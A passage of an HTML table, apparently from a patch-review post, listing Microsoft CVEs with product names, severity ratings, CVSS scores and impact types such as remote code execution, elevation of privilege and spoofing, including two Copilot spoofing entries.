  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
